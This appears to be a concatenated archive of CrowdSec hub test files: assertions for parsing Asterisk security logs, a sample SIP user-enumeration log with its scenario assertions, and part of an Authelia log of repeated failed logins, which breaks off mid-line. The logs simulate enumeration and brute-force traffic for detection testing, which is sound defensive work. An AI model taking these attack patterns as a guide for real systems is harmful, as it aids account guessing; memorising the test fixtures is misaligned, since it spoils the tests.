results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "asterisk" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "[Dec 21 12:56:59] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent=\"InvalidAccountID\",EventTV=\"2021-12-21T12:56:59.192+0000\",Severity=\"Error\",Service=\"PJSIP\",EventVersion=\"1\",AccountID=\"6001\",SessionID=\"2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX\",LocalAddress=\"IPV4/UDP/172.17.0.2/5060\",RemoteAddress=\"IPV4/UDP/172.17.0.1/55287\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["target_port"] == "5060" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "Dec 21 12:56:59" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["session_id"] == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_user"] == "6001" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["asterisk_service"] == "PJSIP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "asterisk-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "asterisk_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "asterisk" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"][4:] == "-12-21T12:56:59Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "[Dec 21 12:57:00] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent=\"ChallengeResponseFailed\",EventTV=\"2021-12-21T12:57:00.209+0000\",Severity=\"Error\",Service=\"PJSIP\",EventVersion=\"1\",AccountID=\"6001\",SessionID=\"2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX\",LocalAddress=\"IPV4/UDP/172.17.0.2/5060\",RemoteAddress=\"IPV4/UDP/172.17.0.1/54784\",Challenge=\"1640091422/edc27724b23967f2cb58e348c4e578eb\",Response=\"3b0bbeda2ac7623e8f39fd45cacd9ca0\",ExpectedResponse=\"\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["target_port"] == "5060" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["asterisk_service"] == "PJSIP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["event_timestamp"][4:] == "-12-21T12:57:00.209+0000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "asterisk" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_port"] == "54784" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["target_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "Dec 21 12:57:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "6001" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["asterisk_session_id"] == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "asterisk" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["session_id"] == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["target_user"] == "6001" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["asterisk_service"] == "PJSIP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "asterisk-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "asterisk_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"][4:] == "-12-21T12:57:00Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == '[Mar 6 08:44:27] SECURITY[1310] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2022-03-06T08:44:27.151+1100",Severity="Error",Service="SIP",EventVersion="2",AccountID="6001",SessionID="0x7fa52803a000",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/56433",Challenge="62790d2c",ReceivedChallenge="62790d2c",ReceivedHash="c3b9d05b8f36265eb89edee60aad693a"' results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["target_port"] == "5060" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["asterisk_service"] == "SIP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["event_timestamp"][4:] == "-03-06T08:44:27.151+1100" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "asterisk" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_port"] == "56433" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["target_ip"] == "172.17.0.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["timestamp"] == "Mar 6 08:44:27" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["username"] == "6001" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["asterisk_session_id"] == "0x7fa52803a000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "asterisk" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["session_id"] == "0x7fa52803a000" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["target_user"] == "6001" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["asterisk_service"] == "SIP" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "asterisk-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "asterisk_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"][4:] == "-03-06T08:44:27Z" hub1/.tests/asterisk-logs/scenario.assert000066400000000000000000000000001437532772500207570ustar00rootroot00000000000000hub1/.tests/asterisk-user-enum/000077500000000000000000000000001437532772500167175ustar00rootroot00000000000000hub1/.tests/asterisk-user-enum/asterisk-user-enum.log000066400000000000000000000043161437532772500231710ustar00rootroot00000000000000[Dec 21 12:56:57] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="InvalidAccountID",EventTV="2021-12-21T12:56:58.192+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="netadmin",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/55287" [Dec 21 12:56:58] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="InvalidAccountID",EventTV="2021-12-21T12:56:58.192+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="admin",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/55287" [Dec 21 12:56:58] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="InvalidAccountID",EventTV="2021-12-21T12:56:59.192+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="toto",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/55287" [Dec 21 12:56:59] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="InvalidAccountID",EventTV="2021-12-21T12:56:59.192+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="tata",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/55287" [Dec 21 12:57:00] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="InvalidAccountID",EventTV="2021-12-21T12:56:59.192+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="tutu",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/55287" [Dec 21 12:57:00] SECURITY[77]: res_security_log.c:114 security_event_stasis_cb: SecurityEvent="InvalidAccountID",EventTV="2021-12-21T12:56:59.192+0000",Severity="Error",Service="PJSIP",EventVersion="1",AccountID="root",SessionID="2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX",LocalAddress="IPV4/UDP/172.17.0.2/5060",RemoteAddress="IPV4/UDP/172.17.0.1/55287"hub1/.tests/asterisk-user-enum/config.yaml000066400000000000000000000004441437532772500210520ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/asterisk-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/asterisk_user_enum.yaml postoverflows: - "" log_file: asterisk-user-enum.log log_type: asterisk labels: {} ignore_parsers: true hub1/.tests/asterisk-user-enum/parser.assert000066400000000000000000000000001437532772500214240ustar00rootroot00000000000000hub1/.tests/asterisk-user-enum/scenario.assert000066400000000000000000000105111437532772500217430ustar00rootroot00000000000000len(results) == 1 "172.17.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["172.17.0.1"].IP == "172.17.0.1" results[0].Overflow.Sources["172.17.0.1"].Range == "" results[0].Overflow.Sources["172.17.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["172.17.0.1"].GetValue() == "172.17.0.1" results[0].Overflow.Alert.Events[0].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "asterisk-user-enum.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[0].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[0].GetMeta("target_user") == "netadmin" results[0].Overflow.Alert.Events[1].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "asterisk-user-enum.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[1].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[1].GetMeta("target_user") == "admin" results[0].Overflow.Alert.Events[2].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "asterisk-user-enum.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[2].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[2].GetMeta("target_user") == "toto" results[0].Overflow.Alert.Events[3].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "asterisk-user-enum.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[3].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[3].GetMeta("target_user") == "tata" results[0].Overflow.Alert.Events[4].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "asterisk-user-enum.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[4].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[4].GetMeta("target_user") == "tutu" results[0].Overflow.Alert.Events[5].GetMeta("asterisk_service") == "PJSIP" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "asterisk-user-enum.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "asterisk_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "asterisk" results[0].Overflow.Alert.Events[5].GetMeta("session_id") == "2kOigHiNhyip1cGGyzdgMkqKV9a0F_G7kVfGdCUA12qsTwyHlQox1T7LSWAX" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "172.17.0.1" results[0].Overflow.Alert.Events[5].GetMeta("target_user") == "root" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/asterisk_user_enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/authelia-bf/000077500000000000000000000000001437532772500153355ustar00rootroot00000000000000hub1/.tests/authelia-bf/authelia-bf.log000066400000000000000000002114471437532772500202320ustar00rootroot00000000000000time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser1': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser2': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser3': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser4': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser5': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser6': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.1 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser1@example.com': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.2 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser2@example.com': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.2 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser3@example.com': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.2 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser4@example.com': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.2 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser5@example.com': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.2 stack="longstacktrace" time="2022-02-14T13:47:54+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'fakeuser6@example.com': user not found" method=POST path=/api/firstfactor remote_ip=1.1.1.2 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser'" method=POST path=/api/firstfactor remote_ip=2.2.2.2 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser'" method=POST path=/api/firstfactor remote_ip=2.2.2.2 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser'" method=POST path=/api/firstfactor remote_ip=2.2.2.2 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser'" method=POST path=/api/firstfactor remote_ip=2.2.2.2 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser'" method=POST path=/api/firstfactor remote_ip=2.2.2.2 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser'" method=POST path=/api/firstfactor remote_ip=2.2.2.2 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser@example.com'" method=POST path=/api/firstfactor remote_ip=2.2.2.3 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser@example.com'" method=POST path=/api/firstfactor remote_ip=2.2.2.3 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser@example.com'" method=POST path=/api/firstfactor remote_ip=2.2.2.3 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser@example.com'" method=POST path=/api/firstfactor remote_ip=2.2.2.3 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser@example.com'" method=POST path=/api/firstfactor remote_ip=2.2.2.3 stack="longstacktrace" time="2022-02-14T13:49:12+02:00" level=error msg="Unsuccessful 1FA authentication attempt by user 'realuser@example.com'" method=POST path=/api/firstfactor remote_ip=2.2.2.3 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.3 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.3 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.3 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.3 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.3 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.3 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.4 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.4 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.4 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.4 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.4 stack="longstacktrace" time="2022-02-16T11:48:16+02:00" level=error msg="Unsuccessful Duo authentication attempt by user 'realuser@example.com': duo auth result: deny, status: deny, message: Login request denied." method=POST path=/api/secondfactor/duo remote_ip=3.3.3.4 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.4 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.4 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.4 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.4 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.4 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.4 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser@example.com" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.5 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser@example.com'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.5 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser@example.com'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.5 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser@example.com'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.5 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser@example.com'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.5 stack="longstacktrace" time="2022-02-16T12:24:19+02:00" level=error msg="Unsuccessful TOTP authentication attempt by user 'realuser@example.com'" method=POST path=/api/secondfactor/totp remote_ip=4.4.4.5 stack="longstacktrace" {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser1': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.5","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser2': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.5","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser3': user not found","path":"/api/firstfactor","remote_ip":"5.5.5.5","stack":[{"File":"github.com/authelia/authelia/v4/internal/handlers/response.go","Line":177,"Name":"markAuthenticationAttempt"},{"File":"github.com/authelia/authelia/v4/internal/handlers/handler_firstfactor.go","Line":52,"Name":"FirstFactorPost.func1"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/authelia_context.go","Line":52,"Name":"AutheliaMiddleware.func1.1"},{"File":"github.com/fasthttp/router@v1.4.5/router.go","Line":414,"Name":"(*Router).Handler"},{"File":"github.com/authelia/authelia/v4/internal/middlewares/log_request.go","Line":14,"Name":"LogRequestMiddleware.func1"},{"File":"github.com/valyala/fasthttp@v1.32.0/server.go","Line":2298,"Name":"(*Server).serveConn"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":223,"Name":"(*workerPool).workerFunc"},{"File":"github.com/valyala/fasthttp@v1.32.0/workerpool.go","Line":195,"Name":"(*workerPool).getCh.func1"},{"File":"runtime/asm_amd64.s","Line":1581,"Name":"goexit"}],"time":"2022-02-16T12:31:49+02:00"} {"level":"error","method":"POST","msg":"Unsuccessful 1FA authentication attempt by user 'fakeuser4': user not 